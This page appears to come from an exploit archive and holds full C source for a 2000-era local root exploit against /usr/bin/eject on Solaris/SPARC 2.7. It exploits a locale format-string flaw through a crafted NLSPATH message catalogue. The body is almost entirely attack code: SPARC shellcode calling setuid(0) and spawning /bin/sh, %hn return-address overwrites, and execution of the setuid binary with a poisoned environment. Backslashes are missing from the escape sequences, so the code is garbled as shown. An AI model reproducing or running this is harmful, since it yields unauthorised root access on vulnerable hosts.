[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Solaris/SPARC 2.7 / 7 locale Format String Exploit
# Published : 2000-11-20
# Author : Solar Eclipse
# Previous Title : Resolv+ (RESOLV_HOST_CONF) Linux Library Local Exploit
# Next Title : BSDi 3.0 / 4.0 rcvtty[mh] Local Exploit
/*
Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7
Based on the exploit by Warning3 <warning3@nsfocus.com>
For additional information see http://www.phreedom.org/solar/locale_sol.txt
By Solar Eclipse <solareclipse@phreedom.org>
Assistant Editor,
Phreedom Magazine
http://www.phreedom.org
10 Oct 2000
*/
#include <stdio.h>
#include <sys/systeminfo.h>
#define NUM 98 /* default number of words to dump from the stack */
#define ALIGN 3 /* default align (can be 0, 1, 2, 3) */
#define RETLOCOFS -16 /* default offset of the return address location */
#define SHELLOFS -6 /* default offset of the jump location from the beginning of the shell buffer */
#define RETLOC 0xfffffffd
#define PATTERN 1024 /* format string buffer size */
#define SHELL 1024 /* shell buffer size */
#define NOP 0xac15a16e
#define VULPROG "/usr/bin/eject"
char shellcode[] = /* from scz's funny shellcode for SPARC */
"x90x08x3fxffx82x10x20x17x91xd0x20x08" /* setuid(0) */
"xaax1dx40x15x90x05x60x01x92x10x20x09" /* dup2(1,2) */
"x94x05x60x02x82x10x20x3ex91xd0x20x08"
"x20x80x49x73x20x80x62x61x20x80x73x65x20x80x3ax29"
"x7fxffxffxffx94x1ax80x0ax90x03xe0x34x92x0bx80x0e"
"x9cx03xa0x08xd0x23xbfxf8xc0x23xbfxfcxc0x2ax20x07"
"x82x10x20x3bx91xd0x20x08x90x1bxc0x0fx82x10x20x01"
"x91xd0x20x08x2fx62x69x6ex2fx73x68xff";
/* get current stack point address */
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
/* prints a long to a string */
char* put_long(char* ptr, long value)
{
*ptr++ = (char) (value >> 24) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 0) & 0xff;
return ptr;
}
/* check if a long contains zero bytes */
int contains_zero(long value)
{
return !((value & 0x00ffffff) &&
(value & 0xff00ffff) &&
(value & 0xffff00ff) &&
(value & 0xffffff00));
}
/* create the shell buffer */
void create_shellbuf(char* shellbuf, int align, int retloc)
{
char *ptr;
int i;
/* check align parameter */
if (align < 0 || align > 3) {
printf("Error: align is %d, it should be between 0 and 3n", align);
exit(1);
}
/* check retloc parameter */
if (contains_zero(retloc) || contains_zero(retloc+2) ) {
printf("Error: retloc (0x%x) or retloc+2 (0x%x) contains a zero byten", retloc, retloc+2);
exit(1);
}
/* start constructing the shell buffer */
ptr = shellbuf;
for (i = 0; i < align; i++) {
*ptr++ = 0x41; /* alignment padding */
}
ptr = put_long(ptr, 0x42424242); /* this is used by the %u format specifier */
ptr = put_long(ptr, retloc); /* put the address of the low order half-word of the return
address on the stack */
ptr = put_long(ptr, 0x42424242); /* this is used by the %u format specifier */
ptr = put_long(ptr, retloc + 2); /* put the address of the high order half-word of the
return address on the stack */
/* fill the shellbuf with NOP instructions but leave enough space for the shell code */
while ((long)ptr + 4 + strlen(shellcode) + 1 < (long)shellbuf + SHELL) {
ptr = put_long(ptr, NOP);
}
memcpy(ptr, shellcode, strlen(shellcode)); /* copy the shellcode */
ptr = ptr + strlen(shellcode);
/* add additional padding to the shell buffer to make sure its size is always the same */
while ((long)ptr < (long)shellbuf + SHELL - 1) {
*ptr++ = 0x41;
}
*ptr = 0; /* null-terminate */
/* at this point the shell buffer should be exactly SHELL bytes long, including the null-terminator */
if (strlen(shellbuf) + 1 != SHELL) {
printf("Error: The shell buffer is %d bytes long. It should be %d bytes. Something went terribly wrong...n",
strlen(shellbuf)+1, SHELL);
exit(1);
}
return;
}
/* execute the vulnerable program using our custom environment */
void execute_vulnprog(char* pattern, char* shellbuf)
{
char *env[3];
FILE *fp;
/* create message files */
if (strlen(pattern) > 512) {
printf("Warning: The pattern is %d bytes long. Only the first 512 bytes will be used.n", strlen(pattern));
}
if ( !(fp = fopen("messages.po", "w+")) ) {
perror("Error openning messages.po for writing.");
exit(1);
}
fprintf(fp, "domain "messages"n");
fprintf(fp, "msgid "usage: %%s [-fndq] [name | nickname]\n"n");
fprintf(fp, "msgstr "%s\n"", pattern);
fclose(fp);
system("/usr/bin/msgfmt messages.po");
system("cp messages.mo SUNW_OST_OSCMD");
system("cp messages.mo SUNW_OST_OSLIB");
/* prepere the environment for the VULNPROG process */
env[0] = "NLSPATH=:.";
env[1] = shellbuf; /* put the shellbuf in env */
env[2] = NULL; /* end of env */
/* execute the vulnerable program using our custom environment */
execle(VULPROG, VULPROG, "-x", NULL, env);
}
/* print the program usage */
void usage(char *prg)
{
printf("Usage:n");
printf(" %s [command] [options]nn", prg);
printf("Commands:n");
printf(" dump Dumps the stackn");
printf(" shell Dumps the shell buffern");
printf(" exploit Exploits /usr/bin/ejectnn");
printf("Options:n");
printf(" --num=96 Number of words to dump from the stackn");
printf(" --align=2 Sets the alignment (0, 1, 2 or 3)n");
printf(" --shellofs=-6 Offset of the shell buffern");
printf(" --retlocofs=-4 Retloc adjustment (must be divisible by 4)n");
printf(" --retloc=0xeffffa3c Location of the return addressn");
exit(0);
}
/* main */
main(int argc, char **argv)
{
char shellbuf[SHELL], pattern[PATTERN], platform[256];
char *ptr;
long sp_addr, sh_addr, jmp_addr, reth, retl;
int num = NUM, align = ALIGN, shellofs = SHELLOFS, retlocofs = RETLOCOFS, retloc = RETLOC;
int i;
int dump = 0, shell = 0, exploit = 0;
/* read the exploit arguments */
if (argc < 2) {
usage(argv[0]);
}
if (!strncmp(argv[1], "dump", 4)) { dump = 1; }
else if(!strncmp(argv[1], "shell", 5)) { shell = 1; }
else if(!strncmp(argv[1], "exploit", 7)) { exploit = 1; }
else {
usage(argv[0]);
}
for (i = 2; i < argc; i++) {
if ( (sscanf(argv[i], "--align=%d", &align) ||
sscanf(argv[i], "--num=%d", &num) ||
sscanf(argv[i], "--shellofs=%d", &shellofs) ||
sscanf(argv[i], "--retlocofs=%d", &retlocofs) ||
sscanf(argv[i], "--retloc=%x", &retloc))== 0) {
printf("Unrecognized option %snn", argv[i]);
usage(argv[0]);
}
}
/* create the shell buffer */
create_shellbuf(shellbuf, align, retloc);
/* calculate memory addresses */
sysinfo(SI_PLATFORM, platform, 256); /* get platform info */
sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* get stack bottom address */
sh_addr = sp_addr - (strlen(VULPROG)+1) - (strlen(platform)+1) - (strlen(shellbuf)+1) + shellofs;
/* sh_add now points to the beginning of the shell buffer */
printf("Calculated shell buffer address: 0x%xn", sh_addr);
if (shell == 1) {
put_long(&shellbuf[align], sh_addr); /* put sh_addr on the stack */
}
if ( ((sh_addr + align) & 0xfffffffc) != (sh_addr + align) ) {
printf("Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessaryn");
}
if (retloc == RETLOC) { /* if retloc was not specified on the command line, calculate it */
retloc = sh_addr + align - num*4 + retlocofs;
printf("Calculated retloc: 0x%xn", retloc);
put_long(&shellbuf[align+4], retloc);
put_long(&shellbuf[align+12], retloc+2);
}
jmp_addr = (sh_addr + align) + 64; /* Calculate the shell jump location */
printf("Calculated shell code jump location: 0x%xnn", jmp_addr);
/* create the format string */
ptr = pattern;
for (i = 0; i < num; i++) {
memcpy(ptr, "%.8x", 4);
ptr = ptr + 4;
}
if (dump == 1) {
*ptr = 0; /* null-terminate */
printf("Stack dump mode, dumping %d wordsn", num);
}
else if (shell == 1) {
sprintf(ptr, " Shell buffer: %%s");
printf("shellbuf (length = %d): %snn", strlen(shellbuf)+1, shellbuf);
printf("Shell buffer dump mode, shell buffer address is 0x%xn", sh_addr);
}
else {
reth = (jmp_addr >> 16) & 0xffff;
retl = (jmp_addr >> 0) & 0xffff;
sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - num * 8), (retl - reth));
printf("Exploit mode, jumping to 0x%xn", jmp_addr);
}
printf("num: %dttalign: %dtshellofs: %dtretlocofs: %dtretloc: 0x%xnn",
num, align, shellofs, retlocofs, retloc);
/* execute the vulnerable program using our custom environment */
execute_vulnprog(pattern, shellbuf);
}
// www.Syue.com [2000-11-20]